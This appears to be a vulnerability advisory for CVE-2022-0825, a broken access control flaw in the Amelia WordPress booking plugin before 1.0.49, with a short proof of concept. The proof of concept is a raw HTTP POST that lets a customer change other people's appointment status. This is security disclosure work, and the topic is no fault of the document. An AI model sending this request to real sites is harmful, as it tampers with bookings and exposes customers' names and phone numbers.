Amelia < 1.0.49 – Customer+ Arbitrary Appointments Status Update | CVE 2022-0825 | Plugin Vulnerabilities

Description

The plugin does not have proper authorisation when managing appointments, allowing any customer to update other's booking status, as well as retrieve sensitive information about the bookings, such as the full name and phone number of the person who booked it.

Proof of Concept

1. Make a booking to become customer
2. Login to WordPress with the customer account and make the following request (the ameliaNonce can be retrieved via "wpAmeliaNonce" under the Amelia dashboard)

POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/appointments/status/2&ameliaNonce=e9ff5220c4 HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Content-Length: 711
Connection: close
Cookie: [customer+ cookies]

{"status": "approved","packageCustomerId": null}

Affects Plugins

Fixed in 1.0.49

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2693545

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Huli from Cymetrics

Submitter

Huli from Cymetrics

Submitter website

https://cymetrics.io

Verified

Yes

WPVDB ID

1a92a65f-e9df-41b5-9a1c-8e24ee9bf50e

Timeline

Publicly Published

2022-03-14 (about 3 years ago)

Added

2022-03-14 (about 3 years ago)

Last Updated

2022-04-11 (about 3 years ago)

Other

Published

Title

Published

2024-05-21

Title

ApplyOnline – Application Form Builder and Manager < 2.6.3 - Missing Authorization to Sensitive Information Exposure

Published

2025-10-16

Title

HomeLancer < 1.0.2 - Missing Authorization

Published

2025-04-01

Title

Demo Awesome <= 1.0.3 - Missing Authorization to Authenticated (Subscriber+) Plugin Activation

Published

2024-07-04

Title

Charitable < 1.8.1.8 - Missing Authorization via ajax_license_check()

Published

2024-04-29

Title

Woo Total Sales <= 3.1.4 - Missing Authorization to Unauthenticated Sales Report Retrieval